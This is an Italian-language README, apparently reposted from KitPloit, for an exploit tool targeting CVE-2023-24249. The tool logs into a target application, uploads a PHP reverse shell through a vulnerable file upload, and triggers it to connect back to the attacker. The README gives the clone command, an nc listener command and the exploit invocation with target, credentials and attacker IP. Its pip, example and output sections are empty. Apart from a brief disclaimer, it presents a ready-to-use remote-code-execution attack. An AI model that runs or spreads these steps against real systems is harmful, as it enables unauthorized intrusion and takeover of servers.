CVE-2023-24249-Exploit

Script di exploit per CVE-2023-24249 - una vulnerabilità che consente l'esecuzione remota di codice tramite upload di file e iniezione di comandi.

Script di Exploit

Lo script di exploit fornito automatizza il processo di sfruttamento di CVE-2023-24249. Esegue i seguenti passaggi:

1. Autenticazione: Accede all'applicazione target utilizzando le credenziali fornite.
2. Caricamento Reverse Shell: Carica uno script reverse shell PHP tramite la funzionalità di caricamento file vulnerabile.
3. Esecuzione Reverse Shell: Invia una richiesta GET allo script reverse shell caricato per eseguirlo e stabilire una connessione di ritorno verso la macchina dell'attaccante.

Requisiti

• Python 3
• libreria requests
• libreria beautifulsoup4

Installa le librerie richieste usando pip:

Utilizzo

1. Clona il repository:

   root@kitploit:~

   git clone https://github.com/IDUZZEL/CVE-2023-24249-Exploit.git
   cd CVE-2023-24249-Exploit
   

2. Avvia un listener sulla tua macchina:

   root@kitploit:~

   nc -lvnp <PORT>
   

3. Esegui lo script di exploit:

   root@kitploit:~

   python3 exploit.py -u <TARGET_URL> -U <USERNAME> -P <PASSWORD> -i <YOUR_IP> -p <YOUR_PORT>
   

   Sostituisci <TARGET_URL>, <USERNAME>, <PASSWORD>, <YOUR_IP> e <YOUR_PORT> con i valori appropriati:

   • <TARGET_URL>: L'URL dell'applicazione target.
   • <USERNAME>: Il nome utente per l'autenticazione.
   • <PASSWORD>: La password per l'autenticazione.
   • <YOUR_IP>: Il tuo indirizzo IP per ricevere la connessione reverse shell.
   • <YOUR_PORT>: La porta su cui il tuo listener è in ascolto.

Esempio

Output dello Script

Se l'exploit ha successo, lo script produrrà il seguente output:

Disclaimer

Questo script è destinato esclusivamente a scopi educativi. L'uso non autorizzato di questo script contro qualsiasi sistema senza esplicito permesso è illegale e non etico. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo script.